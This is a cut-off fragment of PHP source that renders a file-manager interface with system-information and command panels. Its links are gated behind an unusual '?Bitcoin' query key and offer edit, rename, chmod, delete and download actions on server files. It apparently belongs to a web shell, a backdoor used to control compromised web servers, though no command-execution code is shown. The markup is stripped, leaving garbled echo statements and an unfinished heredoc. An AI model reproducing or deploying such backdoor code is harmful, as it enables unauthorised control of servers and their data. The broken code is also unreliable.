';
echo '
⚡ System Information & Commands
';
// Current path display
echo '
📍 Current Directory: ' . htmlspecialchars($current_path) . '
';
echo '
';
echo '
';
}
function render_file_manager($path, $dir_list, $message = '') {
render_header();
// Save current path to session for system tools
set_session('current_path', $path);
// Advanced Tools Tabs
render_advanced_tools($path);
// File Manager Tab (default active)
echo '';
if ($message) {
$msg_type = strpos(strtolower($message), 'error') === false ? 'msg-success' : 'msg-error';
echo "
".htmlspecialchars(urldecode($message))."
";
}
// Breadcrumbs & Back
render_breadcrumbs($path);
$parent_path = dirname($path);
if ($parent_path != $path) {
echo '
[← Back] ';
}
echo '
[Home] ';
// Action Forms
echo '
File Operations
';
echo '
';
echo '';
echo '';
echo '';
echo '
';
// Progress bar and status
echo '
';
echo '
';
echo '
';
// File Listing
echo '
| Name | Size | Modified | Perms | Owner | Actions |
';
foreach ($dir_list as $item) {
echo '';
$link = $item['is_dir']
? '?Bitcoin&path='.urlencode($item['path'])
: '?Bitcoin&edit='.urlencode($item['path']);
echo '| '.($item['is_dir'] ? '📁' : '📄').' '.htmlspecialchars($item['name']).' | ';
echo ''.$item['size'].' | ';
echo ''.$item['modified'].' | ';
echo ''.$item['perms'].' | ';
echo ''.$item['owner'].' | ';
echo '';
if ($item['name'] != '..') {
if ($item['is_file']) echo 'Edit ';
echo 'Rename ';
echo 'Chmod ';
echo 'Delete ';
if ($item['is_file']) echo 'Download';
}
echo ' | ';
echo '
';
}
echo '
';
echo '
'; // Close file-manager tab
echo <<